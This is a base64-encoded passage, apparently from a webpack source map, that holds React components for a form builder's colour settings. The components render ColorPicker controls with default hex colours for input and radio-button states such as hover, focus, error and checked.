R9XG5cdFx0XHRcdFx0eyB0aGlzLnByb3BzLmZvcm1EZXNpZ24gIT09ICdtYXRlcmlhbCcgJiZcblx0XHRcdFx0XHRcdDxDb2xvclBpY2tlclxuXHRcdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0JhY2tncm91bmQgY29sb3InICkgfVxuXHRcdFx0XHRcdFx0XHRwcm9wZXJ0eT17YCR7IGdldFRoZW1lUHJlZml4KHRoaXMucHJvcHMpIH1pbnB1dC1iZ2B9XG5cdFx0XHRcdFx0XHRcdGRlZmF1bHRWYWx1ZT17YCR7IGdldERlZmF1bHRWYWx1ZSh0aGlzLnByb3BzLCBcIiNFREVERURcIikgfWB9XG5cdFx0XHRcdFx0XHRcdGlzQWxwaGFcblx0XHRcdFx0XHRcdC8+XG5cdFx0XHRcdFx0fVxuXHRcdFx0XHRcdDxDb2xvclBpY2tlclxuXHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnUGxhY2Vob2xkZXInICkgfVxuXHRcdFx0XHRcdFx0cHJvcGVydHk9e2AkeyBnZXRUaGVtZVByZWZpeCh0aGlzLnByb3BzKSB9aW5wdXQtcGxhY2Vob2xkZXJgfVxuXHRcdFx0XHRcdFx0ZGVmYXVsdFZhbHVlPXtgJHsgZ2V0RGVmYXVsdFZhbHVlKHRoaXMucHJvcHMsIFwiIzg4ODg4OFwiKSB9YH1cblx0XHRcdFx0XHQvPlxuXHRcdFx0XHRcdDxDb2xvclBpY2tlclxuXHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnVGV4dCBjb2xvcicgKSB9XG5cdFx0XHRcdFx0XHRwcm9wZXJ0eT17YCR7IGdldFRoZW1lUHJlZml4KHRoaXMucHJvcHMpIH1pbnB1dC1jb2xvcmB9XG5cdFx0XHRcdFx0XHRkZWZhdWx0VmFsdWU9e2AkeyBnZXREZWZhdWx0VmFsdWUodGhpcy5wcm9wcywgXCIjMDAwMDAwXCIpIH1gfVxuXHRcdFx0XHRcdC8+XG5cdFx0XHRcdDwvQ29udGFpbmVyPlxuXHRcdFx0XHQ8Q29udGFpbmVyXG5cdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdIb3ZlcicgKSB9XG5cdFx0XHRcdFx0dmFsdWU9XCJob3ZlclwiXG5cdFx0XHRcdD5cblx0XHRcdFx0XHR7IHRoaXMucHJvcHMuZm9ybURlc2lnbiAhPT0gJ2ZsYXQnICYmXG5cdFx0XHRcdFx0XHQ8Q29sb3JQaWNrZXJcblx0XHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdCb3JkZXIgY29sb3InICkgfVxuXHRcdFx0XHRcdFx0XHRwcm9wZXJ0eT17YCR7IGdldFRoZW1lUHJlZml4KHRoaXMucHJvcHMpIH1pbnB1dC1ib3JkZXItaG92ZXJgfVxuXHRcdFx0XHRcdFx0XHRkZWZhdWx0VmFsdWU9e2AkeyBnZXREZWZhdWx0VmFsdWUodGhpcy5wcm9wcywgXCIjMTdBOEUzXCIpIH1gfVxuXHRcdFx0XHRcdFx0XHRpc0FscGhhXG5cdFx0XHRcdFx0XHQvPlxuXHRcdFx0XHRcdH1cblx0XHRcdFx0XHR7IHRoaXMucHJvcHMuZm9ybURlc2lnbiAhPT0gJ21hdGVyaWFsJyAmJlxuXHRcdFx0XHRcdFx0PENvbG9yUGlja2VyXG5cdFx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnQmFja2dyb3VuZCBjb2xvcicgKSB9XG5cdFx0XHRcdFx0XHRcdHByb3BlcnR5PXtgJHsgZ2V0VGhlbWVQcmVmaXgodGhpcy5wcm9wcykgfWlucHV0LWhvdmVyLWJnYH1cblx0XHRcdFx0XHRcdFx0ZGVmYXVsdFZhbHVlPXtgJHsgZ2V0RGVmYXVsdFZhbHVlKHRoaXMucHJvcHMsIFwiI0U2RTZFNlwiKSB9YH1cblx0XHRcdFx0XHRcdFx0aXNBbHBoYVxuXHRcdFx0XHRcdFx0Lz5cblx0XHRcdFx0XHR9XG5cdFx0XHRcdFx0PENvbG9yUGlja2VyXG5cdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdUZXh0IGNvbG9yJyApIH1cblx0XHRcdFx0XHRcdHByb3BlcnR5PXtgJHsgZ2V0VGhlbWVQcmVmaXgodGhpcy5wcm9wcykgfWlucHV0LWhvdmVyLWNvbG9yYH1cblx0XHRcdFx0XHRcdGRlZmF1bHRWYWx1ZT17YCR7IGdldERlZmF1bHRWYWx1ZSh0aGlzLnByb3BzLCBcIiMwMDAwMDBcIikgfWB9XG5cdFx0XHRcdFx0Lz5cblx0XHRcdFx0PC9Db250YWluZXI+XG5cdFx0XHRcdDxDb250YWluZXJcblx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0ZvY3VzJyApIH1cblx0XHRcdFx0XHR2YWx1ZT1cImZvY3VzXCJcblx0XHRcdFx0PlxuXHRcdFx0XHRcdHsgdGhpcy5wcm9wcy5mb3JtRGVzaWduICE9PSAnZmxhdCcgJiZcblx0XHRcdFx0XHRcdDxDb2xvclBpY2tlclxuXHRcdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0JvcmRlciBjb2xvcicgKSB9XG5cdFx0XHRcdFx0XHRcdHByb3BlcnR5PXtgJHsgZ2V0VGhlbWVQcmVmaXgodGhpcy5wcm9wcykgfWlucHV0LWJvcmRlci1hY3RpdmVgfVxuXHRcdFx0XHRcdFx0XHRkZWZhdWx0VmFsdWU9e2AkeyBnZXREZWZhdWx0VmFsdWUodGhpcy5wcm9wcywgXCIjMTdBOEUzXCIpIH1gfVxuXHRcdFx0XHRcdFx0XHRpc0FscGhhXG5cdFx0XHRcdFx0XHQvPlxuXHRcdFx0XHRcdH1cblx0XHRcdFx0XHR7IHRoaXMucHJvcHMuZm9ybURlc2lnbiAhPT0gJ21hdGVyaWFsJyAmJlxuXHRcdFx0XHRcdFx0PENvbG9yUGlja2VyXG5cdFx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnQmFja2dyb3VuZCBjb2xvcicgKSB9XG5cdFx0XHRcdFx0XHRcdHByb3BlcnR5PXtgJHsgZ2V0VGhlbWVQcmVmaXgodGhpcy5wcm9wcykgfWlucHV0LWFjdGl2ZS1iZ2B9XG5cdFx0XHRcdFx0XHRcdGRlZmF1bHRWYWx1ZT17YCR7IGdldERlZmF1bHRWYWx1ZSh0aGlzLnByb3BzLCBcIiNFNkU2RTZcIikgfWB9XG5cdFx0XHRcdFx0XHRcdGlzQWxwaGFcblx0XHRcdFx0XHRcdC8+XG5cdFx0XHRcdFx0fVxuXHRcdFx0XHRcdDxDb2xvclBpY2tlclxuXHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnVGV4dCBjb2xvcicgKSB9XG5cdFx0XHRcdFx0XHRwcm9wZXJ0eT17YCR7IGdldFRoZW1lUHJlZml4KHRoaXMucHJvcHMpIH1pbnB1dC1hY3RpdmUtY29sb3JgfVxuXHRcdFx0XHRcdFx0ZGVmYXVsdFZhbHVlPXtgJHsgZ2V0RGVmYXVsdFZhbHVlKHRoaXMucHJvcHMsIFwiIzAwMDAwMFwiKSB9YH1cblx0XHRcdFx0XHQvPlxuXHRcdFx0XHQ8L0NvbnRhaW5lcj5cblx0XHRcdFx0eyB0aGlzLnByb3BzLmZvcm1EZXNpZ24gIT09ICdtYXRlcmlhbCcgJiZcblx0XHRcdFx0XHQ8Q29udGFpbmVyXG5cdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0Vycm9yJyApIH1cblx0XHRcdFx0XHRcdHZhbHVlPVwiZXJyb3JcIlxuXHRcdFx0XHRcdD5cblx0XHRcdFx0XHRcdDxDb2xvclBpY2tlclxuXHRcdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0XHRkZWZhdWx0VmFsdWU9e2AkeyBnZXREZWZhdWx0VmFsdWUodGhpcy5wcm9wcywgXCIjRTA0NTYyXCIpIH1gfVxuXHRcdFx0XHRcdFx0XHRwcm9wZXJ0eT17YCR7IGdldFRoZW1lUHJlZml4KHRoaXMucHJvcHMpIH1pbnB1dC1ib3JkZXItZXJyb3JgfVxuXHRcdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0JvcmRlciBjb2xvcicgKSB9XG5cdFx0XHRcdFx0XHRcdGlzQWxwaGFcblx0XHRcdFx0XHRcdC8+XG5cdFx0XHRcdFx0PC9Db250YWluZXI+XG5cdFx0XHRcdH1cblx0XHRcdDwvVGFicz5cblx0XHQpO1xuXHR9XG59XG5cblxuXG4vLyBXRUJQQUNLIEZPT1RFUiAvL1xuLy8gLi9zcmMvZm9ybS9jb21wb25lbnRzL2FwcGVhcmFuY2UvY29sb3JzL2lucHV0cy5qcyIsImltcG9ydCBSZWFjdCwgeyBDb21wb25lbnQgfSBmcm9tICdyZWFjdCc7XG5pbXBvcnQgeyB0cmFuc2xhdGUsIGhhc0ZpZWxkVHlwZSwgaGFzRmllbGRXaXRoQXR0cmlidXRlLCBnZXRUaGVtZVByZWZpeCwgZ2V0RGVmYXVsdFZhbHVlIH0gZnJvbSAnLi4vLi4vLi4vLi4vdXRpbHMnO1xuXG5pbXBvcnQgQ29sb3JQaWNrZXIgZnJvbSAnLi4vLi4vLi4vLi4vc2V0dGluZ3MvaW5wdXRzL2NvbG9yLXBpY2tlcic7XG5pbXBvcnQgVGFicyBmcm9tICcuLi8uLi8uLi8uLi9zZXR0aW5ncy9jb250YWluZXJzL3RhYnMnO1xuaW1wb3J0IENvbnRhaW5lciBmcm9tICcuLi8uLi8uLi8uLi9zZXR0aW5ncy9jb250YWluZXJzL2NvbnRhaW5lcic7XG5cbmV4cG9ydCBkZWZhdWx0IGNsYXNzIElucHV0RXh0cmFDb2xvcnMgZXh0ZW5kcyBDb21wb25lbnQge1xuXHRjb25zdHJ1Y3RvciggcHJvcHMgKSB7XG5cdFx0c3VwZXIoIHByb3BzICk7XG5cdH1cblxuXHRyZW5kZXIoKSB7XG5cdFx0Y29uc3QgaGFzRGF0ZVBpY2tlciA9IGhhc0ZpZWxkV2l0aEF0dHJpYnV0ZShcblx0XHRcdHRoaXMucHJvcHMud3JhcHBlcnMsXG5cdFx0XHQnZGF0ZScsXG5cdFx0XHQnZmllbGRfdHlwZScsXG5cdFx0XHQncGlja2VyJ1xuXHRcdCk7XG5cblx0XHRjb25zdCBoYXNDYWxjdWxhdGlvbiA9IGhhc0ZpZWxkVHlwZShcblx0XHRcdCdjYWxjdWxhdGlvbicsXG5cdFx0XHR0aGlzLnByb3BzLndyYXBwZXJzXG5cdFx0KTtcblxuXHRcdGNvbnN0IGhhc0N1cnJlbmN5ID0gaGFzRmllbGRUeXBlKFxuXHRcdFx0J2N1cnJlbmN5Jyxcblx0XHRcdHRoaXMucHJvcHMud3JhcHBlcnNcblx0XHQpO1xuXG5cdFx0Y29uc3QgaGFzU3RyaXBlID0gaGFzRmllbGRUeXBlKFxuXHRcdFx0J3N0cmlwZScsXG5cdFx0XHR0aGlzLnByb3BzLndyYXBwZXJzXG5cdFx0KTtcblxuXHRcdGxldCBjb250ZW50ID0gPFJlYWN0LkZyYWdtZW50PlxuXHRcdFx0eyAoXG5cdFx0XHRcdGhhc0RhdGVQaWNrZXIgfHxcblx0XHRcdFx0aGFzU3RyaXBlXG5cdFx0XHQpICYmXG5cdFx0XHRcdDxDb2xvclBpY2tlclxuXHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0cHJvcGVydHk9e2AkeyBnZXRUaGVtZVByZWZpeCh0aGlzLnByb3BzKSB9aW5wdXQtaWNvbmB9XG5cdFx0XHRcdFx0ZGVmYXVsdFZhbHVlPXtgJHsgZ2V0RGVmYXVsdFZhbHVlKHRoaXMucHJvcHMsIFwiIzc3Nzc3MVwiKSB9YH1cblx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0ljb24gY29sb3InICkgfVxuXHRcdFx0XHQvPlxuXHRcdFx0fVxuXHRcdFx0eyBoYXNDYWxjdWxhdGlvbiAmJlxuXHRcdFx0XHQ8Q29sb3JQaWNrZXJcblx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdHByb3BlcnR5PXtgJHsgZ2V0VGhlbWVQcmVmaXgodGhpcy5wcm9wcykgfXByZWZpeC1jb2xvcmB9XG5cdFx0XHRcdFx0ZGVmYXVsdFZhbHVlPXtgJHsgZ2V0RGVmYXVsdFZhbHVlKHRoaXMucHJvcHMsIFwiIzAwMDAwMFwiKSB9YH1cblx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ1ByZWZpeCBjb2xvcicgKSB9XG5cdFx0XHRcdC8+XG5cdFx0XHR9XG5cdFx0XHR7ICggaGFzQ3VycmVuY3kgfHxcblx0XHRcdFx0aGFzQ2FsY3VsYXRpb25cblx0XHRcdCkgJiZcblx0XHRcdFx0PENvbG9yUGlja2VyXG5cdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRwcm9wZXJ0eT17YCR7IGdldFRoZW1lUHJlZml4KHRoaXMucHJvcHMpIH1zdWZmaXgtY29sb3JgfVxuXHRcdFx0XHRcdGRlZmF1bHRWYWx1ZT17YCR7IGdldERlZmF1bHRWYWx1ZSh0aGlzLnByb3BzLCBcIiMwMDAwMDBcIikgfWB9XG5cdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdTdWZmaXggY29sb3InICkgfVxuXHRcdFx0XHQvPlxuXHRcdFx0fVxuXHRcdDwvUmVhY3QuRnJhZ21lbnQ+O1xuXG5cdFx0aWYgKCBoYXNTdHJpcGUgKSB7XG5cdFx0XHRjb250ZW50ID0gPFRhYnNcblx0XHRcdFx0ZGVmYXVsdD1cImRlZmF1bHRcIlxuXHRcdFx0XHR0eXBlPVwidGFic1wiXG5cdFx0XHRcdGV4dHJhQ2xhc3M9XCJzdWktdGFicy1mbHVzaGVkXCJcblx0XHRcdD5cblxuXHRcdFx0XHQ8Q29udGFpbmVyXG5cdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdEZWZhdWx0JyApIH1cblx0XHRcdFx0XHR2YWx1ZT1cImRlZmF1bHRcIlxuXHRcdFx0XHQ+XG5cdFx0XHRcdFx0eyAoXG5cdFx0XHRcdFx0XHRoYXNEYXRlUGlja2VyIHx8XG5cdFx0XHRcdFx0XHRoYXNTdHJpcGVcblx0XHRcdFx0XHQpICYmXG5cdFx0XHRcdFx0XHQ8Q29sb3JQaWNrZXJcblx0XHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdFx0cHJvcGVydHk9e2AkeyBnZXRUaGVtZVByZWZpeCh0aGlzLnByb3BzKSB9aW5wdXQtaWNvbmB9XG5cdFx0XHRcdFx0XHRcdGRlZmF1bHRWYWx1ZT17YCR7IGdldERlZmF1bHRWYWx1ZSh0aGlzLnByb3BzLCBcIiM3Nzc3NzFcIikgfWB9XG5cdFx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnSWNvbiBjb2xvcicgKSB9XG5cdFx0XHRcdFx0XHQvPlxuXHRcdFx0XHRcdH1cblx0XHRcdFx0XHR7IGhhc0NhbGN1bGF0aW9uICYmXG5cdFx0XHRcdFx0XHQ8Q29sb3JQaWNrZXJcblx0XHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdFx0cHJvcGVydHk9e2AkeyBnZXRUaGVtZVByZWZpeCh0aGlzLnByb3BzKSB9cHJlZml4LWNvbG9yYH1cblx0XHRcdFx0XHRcdFx0ZGVmYXVsdFZhbHVlPXtgJHsgZ2V0RGVmYXVsdFZhbHVlKHRoaXMucHJvcHMsIFwiIzAwMDAwMFwiKSB9YH1cblx0XHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdQcmVmaXggY29sb3InICkgfVxuXHRcdFx0XHRcdFx0Lz5cblx0XHRcdFx0XHR9XG5cdFx0XHRcdFx0eyAoIGhhc0N1cnJlbmN5IHx8XG5cdFx0XHRcdFx0XHRoYXNDYWxjdWxhdGlvblxuXHRcdFx0XHRcdCkgJiZcblx0XHRcdFx0XHRcdDxDb2xvclBpY2tlclxuXHRcdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0XHRwcm9wZXJ0eT17YCR7IGdldFRoZW1lUHJlZml4KHRoaXMucHJvcHMpIH1zdWZmaXgtY29sb3JgfVxuXHRcdFx0XHRcdFx0XHRkZWZhdWx0VmFsdWU9e2AkeyBnZXREZWZhdWx0VmFsdWUodGhpcy5wcm9wcywgXCIjMDAwMDAwXCIpIH1gfVxuXHRcdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ1N1ZmZpeCBjb2xvcicgKSB9XG5cdFx0XHRcdFx0XHQvPlxuXHRcdFx0XHRcdH1cblx0XHRcdFx0PC9Db250YWluZXI+XG5cblx0XHRcdFx0PENvbnRhaW5lclxuXHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnSG92ZXInICkgfVxuXHRcdFx0XHRcdHZhbHVlPVwiaG92ZXJcIlxuXHRcdFx0XHQ+XG5cblx0XHRcdFx0XHR7IGhhc1N0cmlwZSAmJlxuXHRcdFx0XHRcdFx0PENvbG9yUGlja2VyXG5cdFx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRcdHByb3BlcnR5PXtgJHsgZ2V0VGhlbWVQcmVmaXgodGhpcy5wcm9wcykgfWlucHV0LWljb24taG92ZXJgfVxuXHRcdFx0XHRcdFx0XHRkZWZhdWx0VmFsdWU9e2AkeyBnZXREZWZhdWx0VmFsdWUodGhpcy5wcm9wcywgXCIjMTdBOEUzXCIpIH1gfVxuXHRcdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0ljb24gY29sb3InICkgfVxuXHRcdFx0XHRcdFx0Lz5cblx0XHRcdFx0XHR9XG5cblx0XHRcdFx0PC9Db250YWluZXI+XG5cblx0XHRcdFx0PENvbnRhaW5lclxuXHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnRm9jdXMnICkgfVxuXHRcdFx0XHRcdHZhbHVlPVwiZm9jdXNcIlxuXHRcdFx0XHQ+XG5cblx0XHRcdFx0XHR7IGhhc1N0cmlwZSAmJlxuXHRcdFx0XHRcdFx0PENvbG9yUGlja2VyXG5cdFx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRcdHByb3BlcnR5PXtgJHsgZ2V0VGhlbWVQcmVmaXgodGhpcy5wcm9wcykgfWlucHV0LWljb24tZm9jdXNgfVxuXHRcdFx0XHRcdFx0XHRkZWZhdWx0VmFsdWU9e2AkeyBnZXREZWZhdWx0VmFsdWUodGhpcy5wcm9wcywgXCIjMTdBOEUzXCIpIH1gfVxuXHRcdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0ljb24gY29sb3InICkgfVxuXHRcdFx0XHRcdFx0Lz5cblx0XHRcdFx0XHR9XG5cblx0XHRcdFx0PC9Db250YWluZXI+XG5cblx0XHRcdDwvVGFicz47XG5cdFx0fVxuXG5cdFx0cmV0dXJuIGNvbnRlbnQ7XG5cdH1cbn1cblxuXG5cbi8vIFdFQlBBQ0sgRk9PVEVSIC8vXG4vLyAuL3NyYy9mb3JtL2NvbXBvbmVudHMvYXBwZWFyYW5jZS9jb2xvcnMvaW5wdXRzLWV4dHJhLmpzIiwiaW1wb3J0IFJlYWN0LCB7IENvbXBvbmVudCB9IGZyb20gJ3JlYWN0JztcbmltcG9ydCB7IHRyYW5zbGF0ZSwgZ2V0VGhlbWVQcmVmaXgsIGdldERlZmF1bHRWYWx1ZSB9IGZyb20gJy4uLy4uLy4uLy4uL3V0aWxzJztcblxuaW1wb3J0IENvbG9yUGlja2VyIGZyb20gJy4uLy4uLy4uLy4uL3NldHRpbmdzL2lucHV0cy9jb2xvci1waWNrZXInO1xuaW1wb3J0IFRhYnMgZnJvbSAnLi4vLi4vLi4vLi4vc2V0dGluZ3MvY29udGFpbmVycy90YWJzJztcbmltcG9ydCBDb250YWluZXIgZnJvbSAnLi4vLi4vLi4vLi4vc2V0dGluZ3MvY29udGFpbmVycy9jb250YWluZXInO1xuXG5leHBvcnQgZGVmYXVsdCBjbGFzcyBSYWRpb0NvbG9ycyBleHRlbmRzIENvbXBvbmVudCB7XG5cdGNvbnN0cnVjdG9yKCBwcm9wcyApIHtcblx0XHRzdXBlciggcHJvcHMgKTtcblx0fVxuXG5cdHJlbmRlcigpIHtcblx0XHRyZXR1cm4gKFxuXHRcdFx0PFRhYnNcblx0XHRcdFx0ZGVmYXVsdD1cImRlZmF1bHRcIlxuXHRcdFx0XHR0eXBlPVwidGFic1wiXG5cdFx0XHRcdGV4dHJhQ2xhc3M9XCJzdWktdGFicy1mbHVzaGVkXCJcblx0XHRcdD5cblx0XHRcdFx0PENvbnRhaW5lclxuXHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnRGVmYXVsdCcgKSB9XG5cdFx0XHRcdFx0dmFsdWU9XCJkZWZhdWx0XCJcblx0XHRcdFx0PlxuXHRcdFx0XHRcdHsgdGhpcy5wcm9wcy5mb3JtRGVzaWduICE9PSAnZmxhdCcgJiZcblx0XHRcdFx0XHRcdDxDb2xvclBpY2tlclxuXHRcdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0XHRkZWZhdWx0VmFsdWU9e2AkeyBnZXREZWZhdWx0VmFsdWUodGhpcy5wcm9wcywgXCIjNzc3NzcxXCIpIH1gfVxuXHRcdFx0XHRcdFx0XHRwcm9wZXJ0eT17YCR7IGdldFRoZW1lUHJlZml4KHRoaXMucHJvcHMpIH1yYWRpby1ib3JkZXItc3RhdGljYH1cblx0XHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdCb3JkZXIgY29sb3InICkgfVxuXHRcdFx0XHRcdFx0XHRpc0FscGhhXG5cdFx0XHRcdFx0XHQvPlxuXHRcdFx0XHRcdH1cblx0XHRcdFx0XHQ8Q29sb3JQaWNrZXJcblx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0JhY2tncm91bmQgY29sb3InICkgfVxuXHRcdFx0XHRcdFx0cHJvcGVydHk9e2AkeyBnZXRUaGVtZVByZWZpeCh0aGlzLnByb3BzKSB9cmFkaW8tYmFja2dyb3VuZC1zdGF0aWNgfVxuXHRcdFx0XHRcdFx0ZGVmYXVsdFZhbHVlPXtgJHsgZ2V0RGVmYXVsdFZhbHVlKHRoaXMucHJvcHMsIFwiI0VERURFRFwiKSB9YH1cblx0XHRcdFx0XHRcdGlzQWxwaGFcblx0XHRcdFx0XHQvPlxuXHRcdFx0XHRcdDxDb2xvclBpY2tlclxuXHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnVGV4dCBjb2xvcicgKSB9XG5cdFx0XHRcdFx0XHRwcm9wZXJ0eT17YCR7IGdldFRoZW1lUHJlZml4KHRoaXMucHJvcHMpIH1yYWRpby1sYWJlbGB9XG5cdFx0XHRcdFx0XHRkZWZhdWx0VmFsdWU9e2AkeyBnZXREZWZhdWx0VmFsdWUodGhpcy5wcm9wcywgXCIjMDAwMDAwXCIpIH1gfVxuXHRcdFx0XHRcdC8+XG5cdFx0XHRcdFx0eyB0aGlzLnByb3BzLmZvcm1EZXNpZ24gIT09ICdmbGF0JyB8fCB0aGlzLnByb3BzLmZvcm1EZXNpZ24gIT09ICdtYXRlcmlhbCcgJiZcblx0XHRcdFx0XHRcdDxDb2xvclBpY2tlclxuXHRcdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0ltYWdlIGJvcmRlcicgKSB9XG5cdFx0XHRcdFx0XHRcdHByb3BlcnR5PXtgJHsgZ2V0VGhlbWVQcmVmaXgodGhpcy5wcm9wcykgfXJhZGlvLWltYWdlLWJvcmRlci1zdGF0aWNgfVxuXHRcdFx0XHRcdFx0XHRkZWZhdWx0VmFsdWU9e2AkeyBnZXREZWZhdWx0VmFsdWUodGhpcy5wcm9wcywgXCIjNzc3NzcxXCIpIH1gfVxuXHRcdFx0XHRcdFx0XHRpc0FscGhhXG5cdFx0XHRcdFx0XHQvPlxuXHRcdFx0XHRcdH1cblx0XHRcdFx0XHR7IHRoaXMucHJvcHMuZm9ybURlc2lnbiAhPT0gJ21hdGVyaWFsJyAmJlxuXHRcdFx0XHRcdFx0PENvbG9yUGlja2VyXG5cdFx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnSW1hZ2UgYmFja2dyb3VuZCcgKSB9XG5cdFx0XHRcdFx0XHRcdHByb3BlcnR5PXtgJHsgZ2V0VGhlbWVQcmVmaXgodGhpcy5wcm9wcykgfXJhZGlvLWltYWdlLWJhY2tncm91bmRgfVxuXHRcdFx0XHRcdFx0XHRkZWZhdWx0VmFsdWU9e2AkeyBnZXREZWZhdWx0VmFsdWUodGhpcy5wcm9wcywgXCIjRURFREVEXCIpIH1gfVxuXHRcdFx0XHRcdFx0XHRpc0FscGhhXG5cdFx0XHRcdFx0XHQvPlxuXHRcdFx0XHRcdH1cblx0XHRcdFx0PC9Db250YWluZXI+XG5cdFx0XHRcdDxDb250YWluZXJcblx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0NoZWNrZWQnICkgfVxuXHRcdFx0XHRcdHZhbHVlPVwiY2hlY2tlZFwiXG5cdFx0XHRcdD5cblx0XHRcdFx0XHR7IHRoaXMucHJvcHMuZm9ybURlc2lnbiAhPT0gJ2ZsYXQnICYmXG5cdFx0XHRcdFx0XHQ8Q29sb3JQaWNrZXJcblx0XHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdCb3JkZXIgY29sb3InICkgfVxuXHRcdFx0XHRcdFx0XHRwcm9wZXJ0eT17YCR7IGdldFRoZW1lUHJlZml4KHRoaXMucHJvcHMpIH1yYWRpby1ib3JkZXItYWN0aXZlYH1cblx0XHRcdFx0XHRcdFx0ZGVmYXVsdFZhbHVlPXtgJHsgZ2V0RGVmYXVsdFZhbHVlKHRoaXMucHJvcHMsIFwiIzE3QThFM1wiKSB9YH1cblx0XHRcdFx0XHRcdFx0aXNBbHBoYVxuXHRcdFx0XHRcdFx0Lz5cblx0XHRcdFx0XHR9XG5cdFx0XHRcdFx0PENvbG9yUGlja2VyXG5cdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdCYWNrZ3JvdW5kIGNvbG9yJyApIH1cblx0XHRcdFx0XHRcdHByb3BlcnR5PXtgJHsgZ2V0VGhlbWVQcmVmaXgodGhpcy5wcm9wcykgfXJhZGlvLWJhY2tncm91bmQtYWN0aXZlYH1cblx0XHRcdFx0XHRcdGRlZmF1bHRWYWx1ZT17YCR7IGdldERlZmF1bHRWYWx1ZSh0aGlzLnByb3BzLCBcIiNFREVERURcIikgfWB9XG5cdFx0XHRcdFx0XHRpc0FscGhhXG5cdFx0XHRcdFx0Lz5cblx0XHRcdFx0XHQ8Q29sb3JQaWNrZXJcblx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0ljb24gY29sb3InICkgfVxuXHRcdFx0XHRcdFx0cHJvcGVydHk9e2AkeyBnZXRUaGVtZVByZWZpeCh0aGlzLnByb3BzKSB9cmFkaW8taWNvbmB9XG5cdFx0XHRcdFx0XHRkZWZhdWx0VmFsdWU9e2AkeyBnZXREZWZhdWx0VmFsdWUodGhpcy5wcm9wcywgXCIjMTdBOEUzXCIpIH1gfVxuXHRcdFx0XHRcdC8+XG5cdFx0XHRcdFx0eyB0aGlzLnByb3BzLmZvcm1EZXNpZ24gIT09ICdmbGF0JyB8fCB0aGlzLnByb3BzLmZvcm1EZXNpZ24gIT09ICdtYXRlcmlhbCcgJiZcblx0